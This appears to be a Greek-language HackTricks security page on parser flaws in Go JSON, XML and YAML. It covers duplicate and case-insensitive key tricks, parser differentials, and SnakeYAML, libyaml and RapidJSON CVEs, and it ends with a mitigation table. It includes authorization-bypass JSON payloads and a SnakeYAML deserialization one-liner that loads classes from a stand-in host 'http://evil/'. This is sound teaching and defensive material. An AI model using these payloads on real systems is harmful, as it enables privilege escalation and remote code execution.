# JSON, XML & Yaml Hacking & Issues {{#include ../banners/hacktricks-training.md}} ## Go JSON Decoder Οι παρακάτω προβλήματα ανιχνεύθηκαν στο Go JSON αν και θα μπορούσαν να είναι παρόντα και σε άλλες γλώσσες. Αυτά τα προβλήματα δημοσιεύθηκαν σε [**αυτή την ανάρτηση στο blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). Οι αναλυτές JSON, XML και YAML του Go έχουν μια μακρά πορεία ασυνεπειών και ανασφαλών προεπιλογών που μπορούν να εκμεταλλευτούν για να **παρακάμψουν την αυθεντικοποίηση**, **κλιμακώσουν προνόμια** ή **εξάγουν ευαίσθητα δεδομένα**. ### (Un)Marshaling Unexpected Data Ο στόχος είναι να εκμεταλλευτεί δομές που επιτρέπουν σε έναν επιτιθέμενο να διαβάσει/γράψει ευαίσθητα πεδία (π.χ., `IsAdmin`, `Password`). - Παράδειγμα Δομής: ```go type User struct { Username string `json:"username,omitempty"` Password string `json:"password,omitempty"` IsAdmin bool `json:"-"` } ``` - Κοινές Ευπάθειες 1. **Απουσία ετικέτας** (χωρίς ετικέτα = το πεδίο αναλύεται ακόμα από προεπιλογή): ```go type User struct { Username string } ``` Πληροφορία: ```json {"Username": "admin"} ``` 2. **Λάθος χρήση του `-`**: ```go type User struct { IsAdmin bool `json:"-,omitempty"` // ❌ wrong } ``` Πληροφορία: ```json {"-": true} ``` ✔️ Σωστός τρόπος για να αποκλείσετε το πεδίο από το να (απο)μαρσαριστεί: ```go type User struct { IsAdmin bool `json:"-"` } ``` ### Διαφορές Αναλυτών Ο στόχος είναι να παρακαμφθεί η εξουσιοδότηση εκμεταλλευόμενοι το πώς διαφορετικοί αναλυτές ερμηνεύουν το ίδιο φορτίο διαφορετικά όπως σε: - CVE-2017-12635: Παράκαμψη Apache CouchDB μέσω διπλών κλειδιών - 2022: Zoom 0-click RCE μέσω ασυνέπειας αναλυτή XML - GitLab 2025 SAML παράκαμψη μέσω ιδιαιτεροτήτων XML **1. Διπλά Πεδία:** Ο `encoding/json` του Go παίρνει το **τελευταίο** πεδίο. ```go json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) fmt.Println(req.Action) // AdminAction ``` Άλλοι αναλυτές (π.χ., Jackson της Java) μπορεί να πάρουν το **πρώτο**. **2. Αδιαφορία Περί Περίπτωσης:** Το Go είναι αδιάφορο ως προς την περίπτωση: ```go json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) // matches `Action` field ``` Ακόμα και τα κόλπα Unicode λειτουργούν: ```go json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) ``` **3. Διαφορετικότητα διασύνδεσης υπηρεσιών:** Φανταστείτε: - Proxy γραμμένο σε Go - Υπηρεσία AuthZ γραμμένη σε Python Ο επιτιθέμενος στέλνει: ```json { "action": "UserAction", "AcTiOn": "AdminAction" } ``` - Python βλέπει το `UserAction`, το επιτρέπει - Go βλέπει το `AdminAction`, το εκτελεί ### Σύγχυση Μορφής Δεδομένων (Polyglots) Ο στόχος είναι να εκμεταλλευτούμε συστήματα που αναμειγνύουν μορφές (JSON/XML/YAML) ή αποτυγχάνουν να κλείσουν σε σφάλματα αναλυτή όπως: - **CVE-2020-16250**: Το HashiCorp Vault ανέλυσε JSON με έναν αναλυτή XML μετά την επιστροφή JSON από το STS αντί για XML. Ο επιτιθέμενος ελέγχει: - Την κεφαλίδα `Accept: application/json` - Μερικό έλεγχο του σώματος JSON Ο αναλυτής XML του Go το ανέλυσε **οπωσδήποτε** και εμπιστεύτηκε την εισαγόμενη ταυτότητα. - Δημιουργημένο payload: ```json { "action": "Action_1", "AcTiOn": "Action_2", "ignored": "Action_3" } ``` - **Go JSON** parser: `Action_2` (case-insensitive + last wins) - **YAML** parser: `Action_1` (case-sensitive) - **XML** parser: parses `"Action_3"` inside the string --- ## Σημαντικές Ευπάθειες Παρσέρ (2023-2025) > Τα παρακάτω δημόσια εκμεταλλεύσιμα ζητήματα δείχνουν ότι η ανασφαλής παρσάρισμα είναι ένα πρόβλημα πολλών γλωσσών — όχι μόνο πρόβλημα του Go. ### SnakeYAML Deserialization RCE (CVE-2022-1471) * Αφορά: `org.yaml:snakeyaml` < **2.0** (χρησιμοποιείται από Spring-Boot, Jenkins, κ.λπ.). * Αιτία: `new Constructor()` αποσυναρμολογεί **τυχαίες κλάσεις Java**, επιτρέποντας αλυσίδες gadget που καταλήγουν σε εκτέλεση απομακρυσμένου κώδικα. * One-liner PoC (θα ανοίξει την αριθμομηχανή στον ευάλωτο υπολογιστή): ```yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] ``` * Διόρθωση / Μετριασμός: 1. **Αναβάθμιση σε ≥2.0** (χρησιμοποιεί `SafeLoader` από προεπιλογή). 2. Σε παλαιότερες εκδόσεις, χρησιμοποιήστε ρητά `new Yaml(new SafeConstructor())`. ### libyaml Double-Free (CVE-2024-35325) * Επηρεάζει: `libyaml` ≤0.2.5 (C βιβλιοθήκη που χρησιμοποιείται από πολλές γλώσσες). * Ζήτημα: Η κλήση `yaml_event_delete()` δύο φορές οδηγεί σε διπλή απελευθέρωση που οι επιτιθέμενοι μπορούν να μετατρέψουν σε DoS ή, σε ορισμένα σενάρια, εκμετάλλευση σωρού. * Κατάσταση: Ο upstream το απέρριψε ως “κακή χρήση API”, αλλά οι διανομές Linux παρέδωσαν διορθωμένη έκδοση **0.2.6** που μηδενίζει τον δείκτη αμυντικά. ### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) * Επηρεάζει: Tencent **RapidJSON** πριν την δέσμευση `8269bc2` (<1.1.0-patch-22). * Σφάλμα: Στη μέθοδο `GenericReader::ParseNumber()` η μη ελεγχόμενη αριθμητική επιτρέπει στους επιτιθέμενους να δημιουργήσουν τεράστιες αριθμητικές λεκτικές που περιτυλίγονται και διαφθείρουν τον σωρό — τελικά επιτρέποντας την κλιμάκωση προνομίων όταν το προκύπτον αντικείμενο χρησιμοποιείται για αποφάσεις εξουσιοδότησης. --- ### 🔐 Μετριασμοί (Ενημερωμένο) | Κίνδυνος | Διόρθωση / Σύσταση | |-------------------------------------|------------------------------------------------------------| | Άγνωστα πεδία (JSON) | `decoder.DisallowUnknownFields()` | | Διπλά πεδία (JSON) | ❌ Καμία διόρθωση στη stdlib — επικυρώστε με [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | | Αντιστοίχιση χωρίς διάκριση πεζών-κεφαλαίων (Go) | ❌ Καμία διόρθωση — επικυρώστε τις ετικέτες δομής + προ-κανονικοποιήστε την είσοδο | | XML σκουπίδια δεδομένα / XXE | Χρησιμοποιήστε έναν σκληρυμένο αναλυτή (`encoding/xml` + `DisallowDTD`) | | YAML άγνωστα κλειδιά | `yaml.KnownFields(true)` | | **Μη ασφαλής αποσυμπίεση YAML** | Χρησιμοποιήστε SafeConstructor / αναβαθμίστε σε SnakeYAML ≥2.0 | | libyaml ≤0.2.5 διπλή απελευθέρωση | Αναβαθμίστε σε **0.2.6** ή σε έκδοση με διορθώσεις διανομής | | RapidJSON <διορθωμένη δέσμευση | Συγκεντρώστε κατά την τελευταία RapidJSON (≥Ιούλιος 2024) | ## Αναφορές - Baeldung – “Επίλυση CVE-2022-1471 με SnakeYAML 2.0” - Ubuntu Security Tracker – CVE-2024-35325 (libyaml) {{#include ../banners/hacktricks-training.md}}